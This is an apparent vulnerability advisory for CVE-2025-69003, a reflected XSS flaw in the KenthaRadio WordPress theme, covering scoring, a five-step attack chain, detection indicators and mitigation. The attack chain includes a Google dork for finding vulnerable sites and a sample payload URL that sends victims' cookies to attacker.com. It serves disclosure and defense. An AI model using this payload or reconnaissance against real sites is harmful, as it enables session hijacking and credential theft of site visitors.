CVE-2025-69003: 
WordPress vulnerability analysis and mitigation

CVE-2025-69003 is a Reflected Cross-Site Scripting (XSS) vulnerability in the QantumThemes KenthaRadio WordPress theme (plugin slug: qt-kentharadio). It affects all versions up to and including 2.2.0, with no patched version currently identified. The vulnerability was published on January 22, 2026, and carries a CVSS v3.1 base score of 7.1 (High) (Feedly, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant (CAPEC-591). The vulnerability arises from insufficient sanitization or escaping of user-supplied input that is reflected back in HTTP responses rendered by the browser. Exploitation requires no authentication (Privileges Required: None) but does require user interaction — typically tricking a victim into clicking a crafted URL — and the scope is changed, meaning the injected script executes in the context of the victim's browser session on the affected site (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as rendered to the victim. The CVSS scoring reflects low confidentiality, integrity, and availability impacts with a changed scope, indicating the attack can affect resources beyond the vulnerable component itself (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-69003 at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites using the KenthaRadio theme (qt-kentharadio) version 2.2.0 or earlier, using tools like WPScan or Google dorks (e.g., inurl:wp-content/themes/qt-kentharadio).
2. Identify vulnerable parameter: Analyze the theme's front-end pages and URL parameters that are reflected in the HTTP response without proper sanitization or escaping.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim via phishing email, social media, or other social engineering channels.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser session, enabling cookie theft, session hijacking, or further malicious actions (Feedly).

• Network: HTTP GET requests to WordPress pages using the KenthaRadio theme containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: Web server access logs showing requests with XSS payloads in query strings directed at pages served by the qt-kentharadio theme; unusual outbound requests from victim browsers to external domains shortly after page load.
• Browser/Client-Side: Unexpected redirects or pop-ups on pages using the KenthaRadio theme; JavaScript errors in browser console related to cross-origin requests.

No patched version of the KenthaRadio theme has been publicly confirmed as of the vulnerability's disclosure date. Site administrators should consider deactivating and removing the KenthaRadio theme until a fix is released by QantumThemes. As a compensating control, deploying a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Cloudflare WAF) can help block exploitation attempts. Monitor the QantumThemes and WordPress plugin/theme repositories for an updated version (Wordfence).

The vulnerability was noted in Wordfence's weekly WordPress vulnerability report for the week of January 12–18, 2026, as part of a broader roundup of WordPress theme and plugin issues. No significant independent researcher commentary, vendor statements beyond the CVE filing, or notable media coverage has been identified for this specific CVE (Wordfence).